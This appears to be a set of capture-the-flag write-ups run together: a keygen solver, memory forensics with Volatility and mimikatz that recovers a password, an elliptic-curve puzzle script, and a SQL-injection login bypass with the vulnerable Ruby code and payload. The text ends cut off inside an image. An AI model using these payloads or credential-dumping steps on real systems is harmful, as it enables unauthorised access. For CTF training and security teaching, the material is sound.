this code into something like this, knowing that a right / left bit shifting by n is nothing but a division / product by (2 times n): ```int validate_key_simpl(int key, char *str) { int c = 0x38e38e39; int ra, rb; rb = ((long long)key * c) / pow(2, 35); rb = key - (rb * 36); ra = ord(str[15]); printf("ebx: 0x%08x\neax: 0x%08x\n", rb, ra); printf("result: 0x%08x\n", rb - ra); return rb - ra; }``` i don't really understand what these calculation do, i tried to come up with a formula or something, but i got nothing :( however we can see that it has many solutions by executing this C code searching for a 0 as the return value. ```——> ./solver 6666999966669990key: 0x00000414ebx: 0x00000000eax: 0x00000000``` this is the one i got the flag with ```xnand@pico-2018-shell-3:/problems/keygen-me-1_1_8eb35cc7858ff1d2f55d30e5428f30a7$ ./activate 6666999966669990Product Activated Successfully: picoCTF{k3yg3n5_4r3_s0_s1mp13_3718231394}```
# [CTF BSIDES] Write-Up - Never Too Late Mister (Forensics) ## Description :My friend John is an environmental activist and a humanitarian. He really hated the ideology of Thanos from the Avengers: Infinity War. He sucks at programming. He used too many variables while writing any program. One day, John gave me a memory dump and asked me to find out what he was doing while he took the dump. Can you figure it out for me? ## Analysis dump memory : ```BASHvol.py -f Challenge.raw imageinfoVolatility Foundation Volatility Framework 2.6INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86 AS Layer1 : IA32PagedMemoryPae (Kernel AS) AS Layer2 : FileAddressSpace (bsides/Challenge.raw) PAE type : PAE DTB : 0x185000L KDBG : 0x8273cb78L Number of Processors : 1 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0x80b96000L KUSER_SHARED_DATA : 0xffdf0000L Image date and time : 2018-10-23 08:30:51 UTC+0000 Image local date and time : 2018-10-23 14:00:51 +0530``` First, the initials of the title indicate NTLM, like other write-ups I use mimikatz plugin ```BASHvol.py -f Challenge.raw --profile=Win7SP1x86 mimikatzVolatility Foundation Volatility Framework 2.6Module User Domain Password -------- ---------------- ---------------- ----------------------------------------wdigest hello hello-PC flag{you_are_good_but wdigest HELLO-PC$ WORKGROUP``` So I find the first part of the flag. ## Tricks via volatility : I test differents plugins such as pslist / cmdscan / consoles ```BASHvol.py -f Challenge.raw --profile=Win7SP1x86 consolesVolatility Foundation Volatility Framework 2.6**************************************************CommandHistory: 0x300498 Application: cmd.exe Flags: Allocated, ResetCommandCount: 1 LastAdded: 0 LastDisplayed: 0FirstCommand: 0 CommandCountMax: 50ProcessHandle: 0x5cCmd #0 at 0x2f43c0: C:\Python27\python.exe C:\Users\hello\Desktop\demon.py.txt----Screen 0x2e6368 X:80 Y:300Dump:Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\hello>C:\Python27\python.exe C:\Users\hello\Desktop\demon.py.txt335d366f5d6031767631707f``` Hum interesting the **demon.py.txt** file so I'm trying to get it back ... ```BASHvol.py -f Challenge.raw --profile=Win7SP1x86 filescan |grep "demon.py.txt"Volatility Foundation Volatility Framework 2.60x000000003d4d1dc8 1 0 R--rw- \Device\HarddiskVolume2\Users\hello\Desktop\demon.py.txt``` Nice the file seems possible to be recover ```BASHvol.py -f Challenge.raw --profile=Win7SP1x86 dumpfiles -Q 0x000000003d4d1dc8 -D filesVolatility Foundation Volatility Framework 2.6DataSectionObject 0x3d4d1dc8 None \Device\HarddiskVolume2\Users\hello\Desktop\demon.py.txt``` Shit, it's not possible !!! However there is another possibility to recover it. Here is a good resource : https://www.csitech.co.uk/recreating-files-from-the-volatility-mft-parser/ It is possible to recreate the file via MFT parser ```BASHvol.py -f Challenge.raw --profile=Win7SP1x86 mftparser | grep -C 20 "demon.py.txt"``` I found "demon.py.txt" file with its contents, for fun I get it back ```BASHvol.py -f Challenge.raw --profile=Win7SP1x86 mftparser --offset=0x7ca3c00 --dump-dir=.Volatility Foundation Volatility Framework 2.6***************************************************************************MFT entry found at offset 0x7ca3c00Attribute: In Use & FileRecord Number: 45487Link count: 2 $STANDARD_INFORMATIONCreation Modified MFT Altered Access Date Type------------------------------ ------------------------------ ------------------------------ ------------------------------ ----2018-10-19 09:37:37 UTC+0000 2018-10-19 09:52:40 UTC+0000 2018-10-19 09:52:40 UTC+0000 2018-10-19 09:37:37 UTC+0000 Archive $FILE_NAMECreation Modified MFT Altered Access Date Name/Path------------------------------ ------------------------------ ------------------------------ ------------------------------ ---------2018-10-19 09:37:37 UTC+0000 2018-10-19 09:42:24 UTC+0000 2018-10-19 09:42:24 UTC+0000 2018-10-19 09:37:37 UTC+0000 demon.py.txt $FILE_NAMECreation Modified MFT Altered Access Date Name/Path------------------------------ ------------------------------ ------------------------------ ------------------------------ ---------2018-10-19 09:37:37 UTC+0000 2018-10-19 09:42:24 UTC+0000 2018-10-19 09:42:24 UTC+0000 2018-10-19 09:37:37 UTC+0000 DEMONP~1.TXT $OBJECT_IDObject ID: 4a7c2bee-7dd3-e811-aa46-080027b4bf34Birth Volume ID: 80000000-7800-0000-0000-180000000100Birth Object ID: 5f000000-1800-0000-6120-3d2022315f34Birth Domain ID: 6d5f6233-7474-3372-7d22-0d0a0d0a6220 $DATA0000000000: 61 20 3d 20 22 31 5f 34 6d 5f 62 33 74 74 33 72 a.=."1_4m_b3tt3r0000000010: 7d 22 0d 0a 0d 0a 62 20 3d 20 22 22 0d 0a 0d 0a }"....b.=.""....0000000020: 66 6f 72 20 69 20 69 6e 20 61 3a 0d 0a 20 20 20 for.i.in.a:.....0000000030: 20 62 20 3d 20 62 20 2b 20 63 68 72 28 6f 72 64 .b.=.b.+.chr(ord0000000040: 28 69 29 5e 32 29 0d 0a 0d 0a 70 72 69 6e 74 20 (i)^2)....print.0000000050: 62 2e 65 6e 63 6f 64 65 28 22 68 65 78 22 29 b.encode("hex")``` I can verify ```BASHfile demon.py.txt demon.py.txt: ASCII text, with CRLF line terminators cat demon.py.txt a = "1_4m_b3tt3r}" b = "" for i in a: b = b + chr(ord(i)^2) print b.encode("hex")``` ## The flag : The flag is simply the concatenation of the 2 parts The flag is : **flag{you_are_good_but1_4m_b3tt3r}** By team Beers4Flags ``` ________| || #BFF ||________| _.._,_|,_ ( | ) ]~,"-.-~~[ .=] Beers ([ | ]) 4 ([ '=]) Flags [ |:: ' | ~~----~~```
Googling the problem leads us to a [similar Quora post](https://www.quora.com/How-do-you-find-the-positive-integer-solutions-to-frac-x-y+z-+-frac-y-z+x-+-frac-z-x+y-4/answer/Alon-Amit) on this challenge. Modifying the script in the Quora post for N=10, we can solve for a,b, and c.To make all numbers positive, we can brute force a multiple of P until all 3 numbers are positive. Here's the script in Sage:```def orig(P,N): x=P[0] y=P[1] a=(8*(N+3)-x+y)/(2*(N+3)*(4-x)) b=(8*(N+3)-x-y)/(2*(N+3)*(4-x)) c=(-4*(N+3)-(N+2)*x)/((N+3)*(4-x)) da=denominator(a) db=denominator(b) dc=denominator(c) l=lcm(da,lcm(db,dc)) return [a*l,b*l,c*l] ee = EllipticCurve([0,517,0,416,0])P = ee(-416,4160) for i in range(1,1000): u = orig(P*i,10) (a,b,c)=(u[0],u[1],u[2]) if a > 0 and b > 0 and c > 0: print(a) print(b) print(c) break```
CTF Gandalf here, with another problem to your solution. This time for the Hackover CTF 2018's `who knows john dows?` challenge. This time, we're presented with both a piece of source code [on github](https://github.com/h18johndoe/user_repository), and a login form. ```rubyclass UserRepo def initialize(database) @database = database @users = database[:users] end def login(identification, password) hashed_input_password = hash(password) query = "select id, phone, email from users where email = '#{identification}' and password_digest = '#{hashed_input_password}' limit 1" puts "SQL executing: '#{query}'" @database[query].first if user_exists?(identification) end def user_exists?(identification) !get_user_by_identification(identification).nil? end private def get_user_by_identification(identification) @users.where(phone: identification).or(email: identification).first end def hash(password) password.reverse end end``` ![Login Form](data:image/png;base64,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) To get past the login form, we need a valid email address. We thought the odds were pretty good that [the developer](https://github.com/h18johndoe) has an account on their own page, so to gather potential email addresses we dug around in their git history. As the history of `user_repository` shows, we're met with four potential targets:```commit b26aed283d56c65845b02957a11d90bc091ac35a (HEAD -> master, origin/master, origin/HEAD)Author: John Doe <[email protected]>Date: Tue Oct 2 23:55:57 2018 +0200 Add login method commit 5383fb4179f1aec972c5f2cc956a0fee07af353aAuthor: John Doe <[email protected]>Date: Tue Oct 2 23:04:13 2018 +0200 Add methods commit 2d3e1dc0c5712efd9a0c7a13d2f0a8faaf51153cAuthor: John Doe <[email protected]>Date: Tue Oct 2 23:02:26 2018 +0200 Add dependency injection for database commit 3ec70acbf846037458c93e8d0cb79a6daac98515Author: John Doe <[email protected]>Date: Tue Oct 2 23:01:30 2018 +0200 Add user repo class and file``` Trying through all of them, we found `[email protected]` to be a working one. This redirects us to a password form: ![password form](data:image/png;base64,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) Looking back at the code we have, we can see that the password check is as follows:```rubydef hash(password) password.reverseend hashed_input_password = hash(password)query = "select id, phone, email from users where email = '#{identification}' and password_digest = '#{hashed_input_password}' limit 1"``` There are several blatant issues with that code that allow us to authenticate:- The SQL query is constructed using string interpolation instead of proper escaping and parameterization- The hash function is merely reversing the password input To make use of the first issue, we simply construct a very generic SQL injection payload: `' or 1=1 limit 1;--` Now we need to work with the second issue in mind, which means we have to reverse our payload so that the 'hash' will end up as our original payload: `--;1 timil 1=1 ro '` The query that will be constructed now looks somewhat like this:```sqlselect id, phone, email from users where email = '...' and password_digest = '' or 1=1 limit 1;--' limit 1``` This successfully logs us in. ![logged in](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAhkAAACuCAIAAAAUKIg4AAAAA3NCSVQICAjb4U/gAAAAGXRFWHRTb2Z0d2FyZQBnbm9tZS1zY3JlZW5zaG907wO/PgAALtVJREFUeNrtfU1MG1m2PzsvWXqJZuXdsPqLzZNYPEVIk5FoFomfko7o6agbRd2RE/WHW6LVEhMpViQiK+m8tjpKZIk3eWhEIhJeNw6DCAQrMkSAeyDIZEJMI0+6gASTBGhTjtP1v7c+bt0qV5XLHySB/h39Fgl22ffz/M4595zruua2HwEAAACgGtRhCAAAAABwCQAAAAAuAQAAAMAlAAAAALgEowAAAACASwAAAABwCQAAAAAuAQAAAMAlAAAAAAAuAQAAAMAlAAAAALgEAAAAAJcAAAAAALgEAAAAeJe55OvMpuQoYmEzu72czsZHUl3BOwfcfvfQsVAqNpMVsnmRfIaYX199MUk+4fRwmX2IfTGyzdqyPjJ5oJIHC/NXx3athTVA10RBaejmyOQb//YyxsHf80Ib0uy3Rx0/9tPFZX0N5UdCjm8+PDMpqm99dGPMTbNDM+r7hdv3arYCuTbHu92N3sU17YkX33/8xqZsZrLUnhW3doTMi+TEz9+Gxttcf/LB4My1+LNHqzsiHTIyYpvz9BPGDr7pNTl84uIimbtlMnd0YdDuLC+sjQzMBT6OQa3vWS4xymY6EzpdajqP3vt+bsfmA/LzA1P+srpxdDKWZY9vx7pcLaYDXRmB7ay5ef+utnDvckm54xBMa6NaiDvSQ1tPlv+s9ZGEUzO62CLc7gv+WAMuqWx+9w2XmCT7rC80VsoIG/5iIGunCoSZVOAvb6h3B4Nz8dWCfWd2kgOTbVDu+4BLZN28PdJ9x97GHP8+rS8FcfVFckaYnHshiPoHLN9OlGXpHOzKrLOHVzOBw6UeOZyIrWrv33p2/uNdb+Ge5JJKxmFyZKukQ0B9gvNzxjWzmj5u35LjN7Q1uJX5oq1qLql4fvcrl8jcv3x7qs3Bib+9qQ/P1vb83Fp85tmjLDeM6cXjh3e9aweCi4+4aRKzm/MzQnxiLZneFnnTZOInP/T7O8wlO7e+jh04bMDBo8NtH4+d+Hoq1PPzZCbPzSbxD4YsP/DEAOOm7ZGL4we4HR6Ks/WaHwmV5asOdcZ1M1O4nXA0smKB2yy6lZ+8eOeNtHDvcUlF4xALzWj6ZSHVZh+ziouqVhK2SqraoW814hEnZlw2PtAjTM6sEcQujtVsfvcglzy6MV60Z4fInj0enOyKpGJzvAouPBq4d8DGiV9n77k9c0znjKETVwWB23e7bNwkbq3qBmv8aoJfYAdPz9xK6yroUc8Y9Ps7zCXBcrzgLaGrOGL+l7l5dfEWkpFi32W4i1FCZvF4mZGuET1qstkXtFX0B77+ma3+zZmf2t5YC/cWl1Q6Dm1Xn2m7fa3rcImYlTgzd15zIOav2h1UTMU1hZeMDL2tfu1ZLimhUv2hzLLOJ9vEXix6z/i1DLP3Z4rdtWORZ5uam3B+N/vov5p1MAFlsrl3jXmcotB1GCp+r3KJbPLrRp+FnXKMBStWfz5hTQk/aaesO7Gvywykhp7oka6MTczk8L1bGY7tioK8u9rCPcQllY+DrnCJI2vjNGh+IeGPNk1BiDM/WXuTX/+8Xjt1XNX87kcuofQf0s8OpfTiMYfx/9TyE+58v6DFBm+M71qn7nyflpjLaxvCCv7s8sQOeMe5hFoxfUxZE8vU4JrcuaathuUBuzUXY3pzvWy9aYh0PbJY1jEuvrEzEio2cne7hXuFS6oZh3ssEPGox/LYbExbIZvXTnMKWhQ6La1RlhuWSR9/m/3at1xizGnciXVZE79D0FJ3RjPpY7sV4PqJdcrRPU2wTByb5QfsGS758WA3O8UsTF7kXObDc0nNRTWtV+O6zLo5j7WJdE3pkS7xxfenTTaLrgvW41MWh6tVtTDGwvr21tnQtwvl5ba64JLYiRtZFqUQuFNH7am8Yl8f+HTy29vCfGZnUyzImdxqQueBGo/Dj51xLWxt6Wp8nHqkpg8pngHjHsvvirEgWIlcLzdn71WuwJpySeWzU3suIZMyP88Cv4Y15oZ9f2w+zUYm++1flEMpjYHS1j6E/gbpWcgyfTz0ZJO3IY4mzt/4ORYXJueenP/UoS+6KWMfNQX2CJfw1QCb8Sne/Vx3U3ygJ4CuhcqPePKRLnGBT/Yd12Op2cwXR60d5Cpa+Fa4JHa859mmFZEYtVXseOTJsmidwCPMzJszcKqbqQNMgW5lAsUTFHlmWhtfaNxjlfrFEsMKI+WELKy5pMoVuFtcUubs7AaXtA2zlWmM/umHVY5dZt+olQrpkbFn5486BqxsZjYwsuMiIdCBFMtbMMA7ySWcxpQyXPiV7SvxSaerKrbNa59WUlvHRbrykxdV2+RYDzPebXPMqmvhm+eS2PGrHJHEZ/zWT+XjtwXGr5urm4/SL4RswVjeYazxrHKm/sL2c/EMskSvQrxb9VkPMEc2UxSsP60VrIjlGRbWXFJlv3aHS8qenV3hkh+P6+Ffjmj1qdx23P73bmm+XPLqkDHWpE80Fz9gDqJdAhhzL2xP3SwZsWtiR7cXoeL3PpdwUQ5u0+rlaXbHnuZARFnLyBDpirNIV/bJF4dp9k5SLJ0xXF0L3zSXHIusrdsTCf+UVlC22PkpI9GYv2sxqWe+qaGJGs0UOxEpDm1PaX4GZ67qmsXQDEO4aWG+rAI0Sy6ptl8GLjHnx1ujNJeUPTu7xCVcUznaYFxe4ryHC4Vp38iUQHFgVrcetAN/vx2dZy1cW9s8Ur0IppC8ipzgfcElfDD0/OGiFJoSB3RsJ1TupR4M6baecHuyayLPlIhDJWN1LXyjXHLsosATSZvjU0o2Z5tjejSv9KufqcDtHYsgJx/6MITR9YiHkXv0apXlG+WpBksuqbZfhntfyhUnLilrdnaJS5q7tPMJvtdfu4sKcgubDbhOGEXM/YUav8pvblnHwVjChXn92JNZV1yvlbHbEcDe4xJ903JLUHeii80Q406Is6y+7or7NqR7u5KrupOqW/jmuMTf/YQlPi6P2JYrc9rKzrDVDyr5k9UazFToiWiVfMU+2XSQy/4uTswcsMjJ2Xa/9hy4pNp+7RaXlDc7u8UlOm1wETz96Eg3Cp0X9joLWB1m2dWmUOd436rqc1xTfRfT+mGfVnBVEXx4/PwMV6qMovf9xCVc7FVfgtxOTrU572Sxei75sfnoTHzLsJuXb9xz2+xKWviGuISrBnAiEoO2slWdMXaXyToXs67BTB3+iYWtOJOT+R9F0UumyPhbUpju3npSbuy7FJdU1K9d4pIyZ2fX/BK20wuWXBJyzCr+1qKp+k05hpQqLZGP2A0smdjQwaPa4nFVb3gnpFuNJXYEsPe4hOVgSNJaV3GhQCmrsPoYlxof7xY2+fuCShbWVtXCN8Il6SyX8JOPdw+7eUqcmLJ/j0XGbS1malijDe6lo3PzGjd0Fhe3b2m3N542Z3wZnZXKuaTafu3K2XvZs7NbXNLNImpcwnSQS8dy55cYDqisClHZtNLAHTuP4dIuWHDMtnyV37ORZ6J+B0ziINT6PuMS3ebiLMqDLgtHqj97t9pUbgLu1bXwTXCJWSwvqil6yqGmkntPormmM8WcAD2AfnHNXkfoRyPzPSpBdmptq+DqFEsuqbZfu8Ml5c7OLnEJU/E8nRcXjrg/ezfUEnHWg9YpZUAmY1tm/5Ud2ruYd70y0bpiDNjjXKLFQ+X0m4PFho/zba/V5gRXziXVtfCNcUlheUJgt6VaXpFk1kT2ERJrbVWTmWIrR6uX1nWEVRFZkQ3LTgsqqRi3zgmusl+7xCXlzs7ucMkXI3n9ugo93KTnBPeddpcTHOFPOMa0u7wYK2vksfrzccMtAyx1mNFD9nzJ7DU+NeBjKPT9xyVc8rhhJ+v5hc+cagX4SrG2N8slVbXQDZcMf18tl6gR4eM3XjheBlOdtqrNTGmnDqLQZdARNtxgOh1hJu1qJVenWHNJlf3az1zClL4pAMj8BueAMytPNl8ocFxL6VQ3